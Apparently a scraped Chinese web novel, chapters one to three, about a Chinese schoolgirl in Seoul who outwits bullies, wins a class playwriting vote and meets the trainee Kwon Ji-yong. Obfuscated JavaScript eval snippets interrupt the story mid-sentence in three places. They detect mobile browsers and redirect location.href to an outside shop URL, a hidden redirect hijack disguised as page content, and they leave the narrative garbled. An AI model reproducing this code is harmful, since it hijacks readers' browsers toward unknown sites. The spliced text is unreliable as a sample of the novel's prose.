《[娱乐圈]从小说家到顶级导演》 1. 上韩国高中啦 “听寒啊,今天是孝妍的生日唉,据说她偶妈要给她办一个超棒的庆祝派对!” 图书馆角落,把黑蓝色制服穿得十分干净板正的女孩正专心致志地写着些什么,握着钢笔的手指纤白,袖口露出一截清瘦手腕。 她长相清丽,眼眸澄澈,又带着浅浅的冷冽,瀑布般又长又直的黑发从肩膀上滑落一些,像是江边的杨柳絮一样轻轻摇曳。 很快,有另外一位女生发现了她,热情地凑了上来。 说话的女生单眼皮,眼睛尖尖细细的,但总体长得不错,眼型自带的那份凉薄也被她活泼的语气所消解。 江听寒微微抬眸,表情显得有些冷淡,用稍轻的声音提醒道:“这里是图书馆。” “有什么关系嘛,现在是周五,还是放学时间……”女生眼睛眯了起来,话锋一转,“可惜了,听寒xi你好像没有被邀请呢,我跟孝妍关系还不错哦,要不要我去跟孝妍说一声,让你也参加?” 在江听寒看到这个名为“李有娜”的女生的第一秒,她就已经预料到会有“猜猜谁没被邀请”这样挑衅的话语出现了。 果然是大脑容量堪比一粒米,智商不如成年边牧,一眼就能看穿对方在想什么,江听寒真的很想笑。 江听寒毫不客气地用同样的“敬语+阴阳怪气”招数呛了回去:“麻烦李有娜xi去跟朴孝妍xi说——不要什么阿猫阿狗都邀请,特别是关系不亲近但自来熟喊你名字的、在图书馆大声喧哗没素质的、不经派对主人同意就私自邀请他人的……” 罪书十二卷,卷卷有娜名。 “你!”李有娜恶狠狠地瞪了江听寒一眼,“整天就躲在角落,跟下水道的老鼠一样写着鬼画符,写的东西有人看吗?我看你在中国过得也是跟老鼠一样的生活吧?” 江听寒看了眼本子上的汉字,心想比起方方正正的汉字,缺胳膊少腿的韩文更像是鬼画符吧。 她反唇讥之:“有娜xi怎么这么关心我以前过什么生活,暗恋我?” 李有娜顿时被气得脸色发青,巴掌都已经举起来了,面前的女孩却立刻抱着本子站了起来,大步流星地转身离开。 清冷的声音仍然飘在空中—— “多读点书认点汉字,免得身份证上自己的名字都不认识。”* 几个月前,因为父亲工作的变动,江听寒跟随父亲一起来到了韩国,考入了首尔一所还不错的外国语高中,离家也比较近,外国语高中学费昂贵,不乏社会名流人士的子女,像李有娜,还有朴孝妍,都是有钱人家的孩子,但也不像韩剧里描述的那样有权有势。 外籍学生一般会选择国际学校,也因此外国语学校内外国留学生很少,几乎95%都是韩国人,作为班上唯一一名留学生,江听寒成为了众矢之的。 男生们看她长得漂亮,总是会说出些让人厌恶的打趣和调侃,本来就丑,开黄腔的时候更丑。 【我作为一名正常人类,艰难地生活在一群蛤hm蟆之中。 蛤hm蟆长满脓包,轻轻一戳,腥臭的深黄色液体漫过茵茵绿草,把这片土地的生机全都毒死了。 据我观察,蛤hm蟆一天的行程可以概括为:清晨,“呱呱呱”聒噪地开嗓,午后,短暂的从蛤hm蟆变成呼呼大睡的猪,傍晚,自由时间,又变为某种肆无忌惮的牲畜。 如果要比拼七十二变的话,我想孙悟空或许也会输掉。 多数时间他们都在找些东西来填补自己过于贫瘠的大脑,我更想亲切地递去一把剪刀,告诉他们蛤hm蟆都是只有两条腿的,其实可以把多余的器官修剪一下,就像是黄杨树,修剪之后反而能使枝叶茂盛。 意外的,他们会说话: “这支钢笔是百利金的唉,借我用一下,如果不小心弄坏……呀,我刚去了一趟夏威夷,可能没有钱赔偿呢。” 这是借父母资本进行着拙劣炫富的蛤hm蟆,还去夏威夷着实让人担忧,毕竟美国人最喜欢剥皮拆骨再掘金了,蛤hm蟆如果爆出黑色的浆不知道会不会被辨认成石油呢。 “什么啊,不肯借吗?你该不会是大酱女吧,哎一古,米亚内,忘记你是从中国来的了,是不是连大酱女是什么意思都不知道?” 大酱女是今年非常流行的词汇,简单来说就是虚荣的拜金女。我其实不是很理解为什么要用传统食物来贬低他人,去掉大酱,就真的只剩下泡菜了。 哦,嗯……是辛奇。* 总而言之,人类社会马上就要被这群蛤hm蟆占领了,真是恐怖。】 女生们有部分向她表露了善意,但因为江听寒性格比较冷,最后也只是点头之交,而恶意也永不缺席,以李有娜、朴孝妍为首的小团体三天两头针对她。 因为江听寒不是穷人家的孩子,父亲是贸易公司的驻韩代表,跻身于中产上层,所以她们的霸凌还仅限于语言上的排挤和孤立,比如江爸爸是负责向韩国售卖中国的冷冻海产品的,她们就常常会攻击江听寒“一股冻鱼的臭味”。 所幸江听寒很擅长一个人孤立全世界,并不会因此而受伤,懒洋洋地说上一句:“哎呀,今天回去是吃龙虾还是帝王蟹好?还是配点水果吧,阿爸的好朋友又送来了很多西瓜和草莓呢。” 【蛤hm蟆争夺战要开始了! 我想要退出,但有一群胭脂火蚁不同意,嘿呀,马上就能组成动物世界了。 如果硬要吃这类蛙类生物的话,我觉得还是牛蛙比较好,不管是蒜香牛蛙还是紫苏爆炒牛蛙还有我最爱的麻辣牛蛙,都是不同凡响的美味。 小时候,我在跟幼儿园的小伙伴玩泥巴的时候,曾经不小心被火蚁咬过,它们颜色艳丽,叮咬时会注入酸液,伤口红肿难愈。 那时候,我一巴掌拍死了火蚁,但红通通的小包还在。 我那卖冷冻产品的老爸从一箱箱堆成小山的冰块里抓出一颗,给我进行冰敷,那时候爸妈还没有离婚分居,妈妈用冻鱼给我煮了一锅鱼汤,鲜美的滋味我现在还记得。 后来我知道了怎么对付火蚁了,只需要轻轻一捏,再放上冰块。 再严重些,那就去医院,有千百种方法,能把有害的物质铲除。】 江听寒回到家,习惯性地翻了翻自己写的小说,说是小说,其实更像是随笔,没有明显的故事脉络,课余时间就喜欢打开这个黑色封皮的本子涂涂写写。 不过从今天开始,她要开始写一个完整的故事了。 今天老师在课上宣布,外语戏剧节将在下个月,也就是六月一号儿童节举行,每个班级必须要在那之前排练一出外国语戏剧,同时剧本也要自己准备,可以引经据典,也可以完全原创。 她班级的老师比较倾向于让学生自由发挥,还说剧本停止投递的时间是下周三,投票定下的语言是英语,所以还必须递交英语剧本。 江听寒翻开新的一页,好在这不算太难,外籍学生想考外国语学校本身就是地狱级难度,她就是凭借优异的英语成绩和大差不差基本能看懂的韩语才获得入学资格的。 毕竟未来要在这个国家生活,江听寒决定先锻炼一下自己的韩语能力,用韩文写剧本初稿,再翻译成英文。 整个周末江听寒都足不出户,专心创作,江爸爸也忙于加班,回来得晚走得早,在桌上留下两万韩元的零花钱,让江听寒自己去买些好吃的。 临返校的前一晚,江听寒登上了自己的Cyworld,在这里每个用户都可以精心装扮自己的小屋,上传照片和发表日记,还有供朋友交流的留言板。 她的知己列表里只有两三个正常跟她往来的同班同学,其中一位高河润xi在周五晚上在她的留言板上说了些什么。 点开一看。 【婊子,通过我的访问】 江听寒记得高河润是个蛮温温柔柔的女生,说话也细声细气的,这一看就不是她本人说的话。 果不其然,下面就是解释:【抱歉!真的很抱歉,是有娜拿着我的账号发送的,我没办法删除(哭哭流泪小人)】 朴孝妍的生日派对几乎邀请了全班同学,高河润估计也是其中一员。 在Cyworld里,访问主页必须经过账号主人的同意,江听寒看见一个账号申请访问申请了几十遍,看来李有娜是真的很想要挨骂。 她刚通过,留言板就新增一条消息。 【kkk看到我主页的照片了吗,我们还大合照了呢,没有你这个bitch我们玩得很开心哦^v^】 江听寒看见了照片里桌上摆着的酒瓶,挑了下眉,回复道:【你们还喝了酒?】 李有娜:【怎么,你不会没喝过吧,土鳖】 江听寒:【我们校规好像明文规定了不能饮酒呢,谢谢你给我一个报告老师的机会,连证据也不用我自己找,真好啊^v^】 不怕坏人绞尽脑汁,就怕蠢人灵机一动,李有娜虽然很坏,但她的蠢又刚好弥补了这一点。 李有娜:【你敢!!!】 江听寒:【你猜猜我敢不敢~】 李有娜担心受怕了一晚上,想去找朴孝妍出主意,又怕被大骂一顿,直接失眠了大半个夜晚。 周一一整个早上,李有娜上课都在走神,还被老师点出来训斥了一句,被老师点名的那一瞬间她心脏都要跳出来了,差点以为老师是要讲饮酒一事。 朴孝妍一向是品学兼优的校园女神,要是被爆出来生日聚会上喝酒,即便青少年对酒精这种禁忌品有渴望情有可原,也会 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149201|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破坏朴孝妍的名声,那她就糟糕了! 还好最后什么都没有发生。 李有娜又嚣张了起来,来到江听寒面前冷嘲热讽:“我就猜到你没有那个胆子!” 江听寒轻飘飘道:“让开。” 李有娜:“凭什么?” 江听寒绕开了她,拿着几张白纸向教师办公室走去。 风一吹,白纸也跟着哗啦啦作响,这之中好像还夹着一张稍微小些、但又硬很多的纸,看材质更像是相纸。 李有娜心脏猛然一跳,江听寒不会把照片打印出来了吧! 她迅速追了上去,好巧不巧,老师恰巧从隔壁班级里出来了。 只见那黑长直的漂亮女孩对老师扬起一抹浅淡的笑容:“Seon-saeng-nim,早上好,我有事想找您。” “行,去办公室吧,刚好有一沓试卷,听寒你帮我拿回班上发一下。” 江听寒微微点头:“内。” “Seon-saeng-nim!”李有娜气喘吁吁地跑到老师面前。 “什么事?”老师挠了挠脸,今天怎么这么多人找她。 李有娜瞥了一眼江听寒,看见了对方嘴角微微勾起的弧度,就像是影视剧里在大反派旁边跟着作威作福、得意洋洋的小人,面目真是可憎! 她厚颜无耻地痛斥一通,看着老师还算严肃的脸色,却什么话都说不出来了。 “嗯……呃……” 江听寒淡定道:“我想有娜亲故应该是想跟Seon-saeng-nim打个招呼吧?” 李有娜只能硬着头皮接下去:“内……内!” 谁是你的亲故! 老师:“真是有礼貌的孩子呢,但是马上上课了,还是赶紧回去吧。” 李有娜只能看着江听寒跟老师一起进了办公室,指甲深深陷进了肉里。 怎么办、怎么办,那张照片拍得挺糊的,她要不就咬死不认上面的是酒。 但是留言板…… 怪不得当时江听寒要特意问她,不是提醒也不是挑衅,而是留证! 江听寒回到教室,只看见面带歉意和紧张的高河润一个人站在她的课桌旁,没有“嗡嗡嗡”的娜只苍蝇还觉得听稀奇的,不过也乐得清净。 在高河润开口道歉之前,她率先说道:“肯恰那,我没有在意这件事,可以的话,能帮我发一半试卷吗,有点太多了。” 高河润立刻道:“好的好的!” 接下来的几天,李有娜就像是一个数着自己还有几天可以活的死刑犯人,甚至态度一百八十度转变给江听寒送了牛奶和面包。 江听寒怕有毒,随手赏给了一个男同学,就那么刚刚好,李有娜对这名男同学还挺有好感的。 蛤hm蟆,啊不,男同学收到牛奶和面包立刻就跟自己的好哥们炫耀,各种吹嘘自己多么有魅力,把异国来的大美女都迷住了。 李有娜是真的肺都要气炸了,偷偷在被窝里哭了一晚上,第二天为了掩盖哭红的眼还化了妆,但碍于她有把柄在江听寒手上,还不敢多说什么,提心吊胆地过了好几天,终于在这周五得到了把心放下来的机会。 老师宣布:“这周我们一共收到了五份剧本,全都很优秀,我跟你们的英语老师讨论了一下,最后决定采用听寒同学写的《致我深爱的丈夫》,现在把剧本发下去,大家有意见可以尽情提。” “还是要特别表扬一下wuli听寒,准备了韩文和英文两份剧本方便大家阅读和理解,虽然来自中国,但韩文也相当优秀呢。” 旁边的高河润立刻冲江听寒竖起大拇指,但视线中的女孩雪白的脸蛋上是一如既往地淡定,把脊背挺得笔直,就像是一颗初雪后茁壮成长的幼松。 她向高河润微微点头表示感谢,听到这个消息没有震惊,只感觉在意料之中,微圆的漆黑眼眸眯起,狭长上挑的眼尾倾泻出几分“剧本除了选我还能选谁?”的锋利锐气。 原来当初是去交剧本,不是去举报她。 教室另一角的李有娜松了口气,又立刻不爽了起来。 西八呀,上周才说江听寒写的东西没人看,现在全班都要看她写的剧本! 她抱着挑刺的态度读起了剧本,绝对要批得一文不值,让两位老师改变决定。 然而,剧本的开头就吸引了她的注意力。 【佩珀每年都来扫墓,为她战死的丈夫。那个四月午后,她遇见了一位全身黑衣的夫人,面纱上的细钻在阴天里像泪。 她们聊起各自的长眠者,佩珀意外得知,夫人在世的丈夫名字竟然跟她的丈夫一模一样。 佩珀微微张唇,潮湿的空气在鼻尖弥漫,她说:“那真是巧极了!”】 2. 初剧本 【佩珀蹲下,轻抚墓碑上男人英俊的脸庞:“第七年了,约翰。” 黛丽夫人目光掠过那张遗照,稍稍一沉,又回想起葬于此处的挚友,叹息:“数一数,也快六年了呢。” 她意味深沉:“今天真是个适合怀念的日子。” 细雨飘摇,一见如故的两人决定找个天气晴朗的好日子再约。 三日后,佩珀来到黛丽家中做客。 黛丽的丈夫不仅名字是跟佩珀丈夫一样的“约翰·史蒂夫”,就连长相竟也一模一样,只是看向她的眼神礼貌而陌生。 佩珀慌神,指甲深进掌心皮肉,得到黛丽关切的问询:“亲爱的,还好吗?” 佩珀语无伦次:“我很好,只是、只是……您的丈夫长得太像我……深埋于大地那位了。”】 约翰解释自己曾经有一个因为战乱而分离的双胞胎弟弟名为约翰,自己是为了怀念弟弟才把名字从原来的“杰克”改成了“约翰”。 并且,他还表明自己从未上过战场,因为害怕鲜血,黛丽佐证约翰看到鲜血会呕吐甚至晕倒。 佩珀并未停下怀疑,但表面上仍保持着跟黛丽和约翰的正常往来,还跟黛丽交流起了自己曾经跟丈夫的甜蜜回忆。 黛丽则忧心忡忡地跟她说,丈夫经常会半夜做噩梦惊醒,每次都会大喊“约翰·史蒂夫!” 幼时跟弟弟失散,没想到经年一别,却斯人已逝。 两人很快成为了无话不谈的挚友。 一天深夜,黛丽住宅外突然燃放起了烟火,约翰惊叫着跑了出来,浑身冷汗。 他还不忘拉上黛丽,混乱的话语很快变得清晰,喊出了像是肌肉记忆的战场指令: “Down!Artillery!”(卧倒!炮击!) 又一声轰鸣,约翰猛地扑倒黛丽:“Smoke! Smoke cover!”(烟雾弹!掩护!) 一抬头,他瞧见居高临下的佩珀,女人头顶的夜空还残留着烟花绚烂的余韵,照在她的脸上,仿佛圣光普照。 “果然是你啊,约翰·史蒂夫。” 黑黝黝的枪口对准约翰,约翰想逃,却被自己现在的妻子死死地锁住了身躯。 一声枪响。 “砰!” 【一年后,身着黑衣的夫人来到目前,滚烫的指尖触碰冰凉的墓碑,眉眼温柔,轻叹着: “第七年了,约翰。”】 李有娜回过神来,迅速把剧本往前翻了几页,猛然发现很多句台词都别有深意。 比如丈夫梦中喃喃的“约翰·史蒂夫”实际上是在军队里向长官报上自己的名字; 比如害怕鲜血,是因为丈夫患有战后创伤应激综合症,佩珀也是利用这一点,才让丈夫露出马脚; 又比如黛丽最后选择帮助佩珀杀死丈夫,也完全有迹可循,黛丽挚友已经逝去十年,黛丽却说快六年,而黛丽跟丈夫正是六年前相遇的。 佩珀说的那句“深埋于地底的那位”仿佛已经在冥冥之中预示了约翰的结局。 一开始,丈夫就长眠于大地之下,所以结局,丈夫也依旧与湿润的泥土作伴。 简单概括,这就是两个受害者联合起来手刃渣男的故事,但细细分析,这个故事其实探讨了很多内容。 约翰并不是平面的渣男形象,他会在以为遇到危险的时候用身体掩护黛丽,上了战场留下PTSD,却又无情地欺骗两个女人,可怜又可恨。 佩珀和黛丽两位女主人公更是有勇有谋,佩珀聪明地想出方法拆穿约翰的谎言,又极具戏剧性,黛丽虽着墨不多,但最后抱住约翰,也代表她对约翰早有怀疑。 不让约翰逃跑,是她的恨,愿意冒着一起死的风险用自己的身体当绑住约翰的绳索,是她的爱。 这无疑是一个欺骗与真心纠缠、爱与恨交织的故事,读完心脏还有些闷闷的痛。 李有娜在心里连连骂了几句“西八”,她怎么还做起阅读鉴赏来了? 江听寒此人就跟约翰一样完全是撒谎精,就连《致我深爱的丈夫》这个深情的名字都是一个最大的谎言,谁能想到意思其实是“致我深爱的丈夫一颗子弹”呢? 故事不算复杂,却非常精彩,特别是最后真相败露的对峙场面和首尾呼应的台词,让不少同学都对江听寒改观了。 这女孩好像有两把刷子,不是花瓶? 他们大多数人都以为后面会是丈夫说自己当初离开佩珀有什么苦衷,可能是出意外失忆了或者在执行什么秘密任务,再来一番狗血酸痛的感情纠葛。 没想到就这么干脆利落地一枪结束,完全让人猝不及防! “Seon-saeng-nim,我有疑问。”坐在朴孝妍旁边的女生举起了手。 老师点头示意她说。 女生说:“这个剧本有很多漏洞,约翰为什么要欺骗佩珀娶了黛丽?约翰是怎么做到假死脱身的?容貌不能改很正常,但约翰为什么连名字都不改?” 老师陷入思考:“说得很有道理呢,不过听寒也是第一次写剧本吧,做到这种程度已经相当不错了,也许可以在补充一下这些细节。” 对此,江听寒只有一句回答:“约翰不是主角,填充太多他的背景故事会喧宾夺主。” 要解释也很简单,黛丽有钱,约翰要当凤凰男,约翰这个名字代表他在战场上的荣誉和勋章所以他不舍得舍弃……等等,但没必要给约翰加戏,就当是给观众留下点想象的空间吧。 女生又说:“那我觉得这个剧本说服不了我,Seon-saeng-nim不是说一共投递了五份剧本吗,我们能把另外几个剧本都看完投票决定选用哪个吗?” 下一秒,一堆男生附和起来:“对啊,说不定别的剧本更适合我们发挥。” 谁要演一个结局死翘翘的渣男啊,这也太窝囊了吧,他们要演光鲜亮丽的帅气王子! 这个江听寒xi根本只考虑了自己是女生,完全没有考虑他们男生的感受嘛! 群起激愤的时候,李有娜看见朴孝妍向她使眼色,立刻道:“老师,wuli孝妍好像也准备了剧本,能让大家看一看吗?” 老师韩素律今年二十七岁,虽是名牌大学毕业,但执教经验只有两年,处理方式还是比较平和的,并没有把教室当作她的一言堂。 “呀……我没有把其他剧本带过来呢。” 朴孝妍“雪中送炭”:“之前打印的时候不小心多印了几份,要是感兴趣的话……” 李有娜立刻道:“我要看!” 江听寒也被朴孝妍塞了一份,可能是想让她看看什么才叫做真正考虑到全班同学、散发天下大爱的剧本吧。 她一目十行地扫完了剧本,宫廷背景,男主反抗王权的故事,很多台词看起来都是十足眼熟。 随便扫一眼就能看到《哈姆雷特》的经典台词,再看好像还融了点《罗密欧与朱丽叶》,结尾更是跟《仲夏夜之梦》一模一样。 不得了啊,莎翁居然转世成韩国人了。 这剧本不能说有点冗长,因为它非常冗长,有江听寒老爸衣服上都快垂到地面了还懒得剪的线头那么长,长到能把全班25个人都塞进去,角色名字难记程度堪比《百年孤独》,好一个团结友爱。 朴孝妍周边的学生们又开始起哄,纷纷表示:“呀,感觉孝妍的剧本更好呢,男人们很帅,女人们很美,大家都能拥有上场机会。” “这台词也太文采斐然了,孝妍xi的英文水平去参加TEPS都能通过吧!”* “真是一部恢宏又壮丽的史诗啊!” 场面似乎一边倒了,朴孝妍也微微昂起了下巴,尽显骄傲,看起来非常享受这些称赞。 旁边的高河润都有些替江听寒着急,小声询问道:“哦多剋,大家好像要选孝妍了。” 江听寒放下剧本,默默举手:“Seon-saeng-nim。” “我同意让同学们投票选择哪个剧本。” 这话一出,朴孝妍一派都有些迷茫,不知道江听寒要闹哪出。 现在进行投票,朴孝妍百分百能赢,江听寒这是直接认输了吗? “但——能增加一个拉票环节吗?”江听寒温和又镇定地询问道。 “可以。”韩素律一下就答应了。 一是因为做外国语学校的老师更要懂得处世之道,她往往处于中立,不过分的要求全都不会拒绝。 二则是强行让同学去排练《致我深爱的丈夫》反而会让孩子们对她这位老师心生怨气,所以江听寒主动说要靠自己的口才拉票反而更得她心,她对江听寒的态度也变得更宽容。 江听寒站起来,什么都没有拿,就这样空着手走到了教室前面。 她找了一位印象里英语成绩不错的同学:“请问可以念一下孝妍xi剧本第二页的第一句吗?” 这一句是“Thy stygian antinomies ossify the chthonic palimpsest of my pathos.”(你那冥府般的矛盾法则,正将我刻于深渊的苦痛重写本化为顽石。) 太多生涩的词汇了,同学尝试着读了几遍都以失败告终,每次都卡在开头,就算读下去了也很不自信。 “太难了对吧?”江听寒说,“但这样的台词却不止一句,几乎整个剧本都是,不可否认,孝妍xi的剧本很有文学气息,但请各位思考一下,这是我们需要表演的剧本,每一句台词都是要大家背下来的。” “台词难,让台下的观众难以理解,自己出错的可能性也会增加。” 朴孝妍立刻去翻了江听寒的剧本,赫然发现江听寒用的都是最简单最口语的词汇,就算没有韩语剧本,只看英文也能懂个七七八八 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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反观朴孝妍的剧本,戏份最大的女人是男主的未婚妻,只是坐在那里等着男主来拯救而已。 这下朴孝妍终于有了危机感,忍不住主动发声:“听寒xi,拉票不应该是阐述自己的优势吗?为什么一直在攻击我?” 她说得楚楚可怜,委屈得就像是要哭了。 李有娜也替朴孝妍说话:“对啊,wuli孝妍的剧本明明写得很好,你这是……” 碍于韩素律在场,她只能把一些恶毒的词汇憋回去:“你这是什么意思?” 江听寒眼睛微睁,眉尾和嘴角一起微微下垂,显得有些无辜:“阐述对方的劣势,那我的优势不就显而易见了吗?” 她看向李有娜,最后问道:“请问有娜xi能用一句话概括我的剧本的剧情吗?” 李有娜轻轻嗤笑一声,江听寒的剧本简单得她奶奶来都能看懂,一点深意都没有。 于是她毫不犹豫地说道:“不就是一个男的欺骗了两个女的,真相败露后被这两个女的杀掉了的故事吗,这种复仇故事太老套了。” 江听寒紧接着又问:“那你能用一句话概括朴孝妍xi创作的故事吗?” 那剧本东一榔头西一榔头,写出来都有十多幕,李有娜回忆了一下剧本,一下子竟然卡住了,没搞清楚到底哪里是重点。 江听寒唇角微勾,见好就收:“我想说的就这么多,感谢大家听我长篇大论。” 一个连读者都看不懂的故事,能称之为好故事吗? 朴孝妍剜了李有娜一眼,这个蠢货! 她也不得不走出来拉票,优势翻来覆去还是一句“文笔好”,集大家之所成要是文笔还不好,莎士比亚都要被气得从棺材里爬起来。 “好,那就像之前一样投票吧,只可以举一次手哦,喜欢孝妍同学剧本的请举手。” 举手的人数不少,朴孝妍环视一周,虽然包含了不少人情票,但她还是微微松了口气。 韩素律快速数了两遍,确认无误,又道:“喜欢听寒同学剧本的请举手。” 朴孝妍心里又咯噔一下,怎么好像现在举手的人要更多?! 她不由得咬住了嘴唇,内心紧张了起来。 江听寒依旧气定神闲,她已经想好了,要是没采用就卖给别的班级,总有慧眼识珠的人,她还能赚一小笔。 “好,听寒十四票,孝妍十一票,看来大家还是更喜欢《致深爱的丈夫》这个剧本呢。”韩素律拍了下手掌,“下周我们就要开始排练了,大家这周末回去多多看看剧本,当然也不能忘了作业。” “下课。” 朴孝妍深吸一口气,差点一句“西八”飙出来。 全都是一群不识相的蠢东西!滚! 她抓起书包,气冲冲地走了。 江听寒看着她充满怒气的背影,没说什么,只是随手把朴孝妍的剧本扔进了垃圾桶里。 为了避免她的狂热辱追私生粉李有娜又缠上来,江听寒也很快背着包离开了。 她先晃荡进了附近的便利店,从冰柜里拿了一瓶水,一次性讲这么多话,真是渴死了。 水有了,那饭团也来一个,嗯……再要个泡面吧,直接在便利店吃完,也省得回家开火做饭了。 便利店的门被“嘎吱”一声推开,吹进来一阵傍晚的清风。 有人进来了。 3. 便利店初遇 “农心……辛拉面,啊,在这里。”权至龙快速找到了自己想要的泡面,结账之前还摸了下口袋,把标签上的价格和口袋里的几张纸币对了一下。 六百韩元一包辛拉面,现在还剩差不多一千五百韩元,花八百韩元坐公交回家,还剩一百韩元呢。 可惜最便宜的水也要四百一瓶,没事,多喝点泡面汤和热水吧。 扣扣嗖嗖地算完,权至龙就迈着自信的步伐去结账了,又到便利店的餐桌旁放下了随身挎包,左右看了看。 今天便利店里人很少,连啃饭团的都没有,附近只有一个同样打算泡泡面的女孩,不同的是,她手边多了一瓶水,吃的是牛骨汤面。 权至龙“撕拉”一声打开辛拉面,心里嘀咕了一句竟然吃这么清淡的汤面嘛。 下一秒,他就顿住了,因为自己这包辛拉面里——竟然没有调料包! 天哪,怎么这么倒霉。 权至龙不由得想起今天在YG训练到一半就被社长杨贤硕叫去开会,一堆专业制作人里面就他一个没出道的练习生,杨贤硕还让他把最新写的歌曲放给众多制作人听,大家你一言我一语地提出建议,笼统看起来就好像是被批得一文不值。 社长nim点评起来更是毫不留情,权至龙差点都被说哭了,郁闷了一整个下午,甚至拒绝了同为练习生的好兄弟东永裴一起吃饭的邀请,一个人跑了出来。 现在连调料包都要欺负他。 这真是一个黑色星期五。 权至龙放下了泡面,双手放在桌上,有些泄气,一向与人为善的他不是很想给店员增添麻烦,还在犹豫要不要请求店员给他换一包新的泡面。 江听寒把调料包倒下一半,余光扫了眼在自己旁边坐下的男生,微微蹙了下眉。 这么多空位,就偏偏坐在她旁边。 她快速打量一番权至龙,穿着T恤和工装裤,看得出来身型很清瘦,但还有青涩稚气的脸颊肉,或许是跑过来的,一头黑发也被风吹得乱七八糟的,炸起来几撮毛。 没有学校里那些三腿蛤hm蟆那么讨人厌,眼神挺清澈的,只是有点呆傻。 江听寒的目光落在那孤零零没有调料包陪伴的面饼上,补上一句。 还有点倒霉。 垂头丧气的男生此刻就是一只以为找到了骨头其实是树枝的小狗,但江听寒不太会主动跟陌生人搭话,收回视线,淡定地转身走去接上热水。 回来的时候权至龙还坐在原地发呆,看见江听寒立刻眼睛一亮,旋即猛地倒吸一口凉气,似乎是对她堪比爱豆的容貌感到惊叹。 很快,他又强行镇定道:“啊你哈塞哟……请问,剩下的这半包调料还需要吗?不需要的话可以给我吗?” 哇…… 江听寒一时间不知道该说这人是窝囊还是勇敢,坐在这里半天,就想出了这样一个不按常理出牌的解决办法。 “可以,只要你不怕我在里面下毒。” “唉?”权至龙眨眨眼睛,有些震惊,“你下毒了吗,我完全没有看到呢……” “是的,”江听寒面不改色道,“我其实是一位魔术师,一秒钟之内就用某种特殊方法把无色无味的毒下好了。” 权至龙笑了起来,夸赞道:“听起来很厉害的样子呢!” 江听寒:“……?” 这个人的反应真是完全在她意料之外。 权至龙拿起那半包银色调料,笑嘻嘻道:“所以——答案是可以对吧,康桑哈米达!(谢谢)” 用的还是敬语。 看来是没有相信江听寒的胡诌,这是所谓的“大智若愚”吗? 江听寒看着权至龙脸上的露齿括弧笑,感觉这人笑起来的时候比不笑的时候好看些,从看上去是会闯进你房间指着宝贵的摆件说“我要这个我要那个”最后全都摔坏的调皮初中生弟弟,变成了会说“怒那我请你吃冰棍吧”的阳光弟弟。 在便利店的角落,两个陌生人共享一包调料,辛拉面和牛骨汤面殊途同归,变成同一个清淡的味道。 江听寒沉默地吃了一口面。 好怪。 没过多久,她把垃圾收拾好扔掉,拎起书包就准备走。 权至龙摸了摸自己还是瘪下去的肚子,感觉没怎么吃饱,刚注意到江听寒准备离开,立刻就站起来了,边九十度鞠躬边道:“真的很感谢!” 一开始在背后嘟囔人家吃得清淡,结果最后却要靠那清淡的牛骨汤味道满足口腹之欲,真是被命运狠狠捉弄了一次啊。 不过,偶尔品尝一次滋味清淡的泡面,感觉也还挺不错的。 哎嘿~ 江听寒安静一秒,还是决定对这个世界友善一点:“不用谢。” 但也不忘加快脚下的步伐。 “嘎吱”再一声,便利店的门继续开了又关。 权至龙看着江听寒的背影,自动脑补着她的正脸,眼睛是纯正的黑,因此显得非常深幽,雪白的脸庞,浓密的睫毛,乍一看有些清冷,但说起话来竟然走的是幽默路线,真是出乎意料。 她从头到尾背都几乎挺得笔直,离开的时候也是如此,就像是一株旷野上的小白杨,沉静又疏朗。 他忍不住用指尖摩梭了一下自己的手背,后知后觉。 真的好漂亮啊。 是权至龙这辈子见过的数一数二漂亮的女孩子了。 * 今天江爸爸竟然早下班了,一回来就敲响了江听寒的房门,兴奋道:“小寒啊,放假了吧,爸爸带你去吃烤肉去不去?” 江听寒把房门打开,说:“爸,我已经吃饱了。” 江爸爸有些意外:“这么快!” 江听寒看着他脸上透出来的喜色,问道:“今天是有什么好事发生吗?” 江爸爸:“当然有,小寒猜猜是什么好事?” 江听寒:“中乐//透中了十亿人民币,咱们家从此衣食无忧,你早日达成赚十亿的目标然后回去跟妈复婚。” 江妈妈跟江爸爸就是妃英理和不花心的毛利小五郎。 妈妈是律所老板,天天忙于跟不愿意交证据的奇葩客户扯皮,出庭应付耍无赖甚至直接要吵架的原告或被告,助理、实习生犯一些相当基础的错误也让她心力交瘁。 爸爸从前是贸易集团的部门经理,也是每天忙忙忙忙忙,两个人都疏于照看江听寒,也因此产生了许多矛盾。 离婚的导火索是江听寒上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17149203|196417||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 初中时一次家长会,父母都答应了要来,但法院突然通知一个庭要提前,江妈妈不得不加班准备开庭材料,而江爸爸开会的时间比原定时间长了整整一倍,导致赶到学校的时候家长会已经结束了,只看见站在门口静静等着他们的江听寒。 两人先跟江听寒各种道歉,又大吵一架,气急之下,江爸爸说出了那句“这样过下去不如我们离婚!” 虽然马上就后悔滑跪了,但江妈妈已经对他失望,两人就扯了离婚证,后面江爸爸各种追求,也只得到江妈妈一句“等你赚到十亿再来找我复婚吧。” 这完全是不可能完成的任务。 江爸爸叹了口气:“要是小寒说的是真的就好了,就算中了十亿也还得交税。” 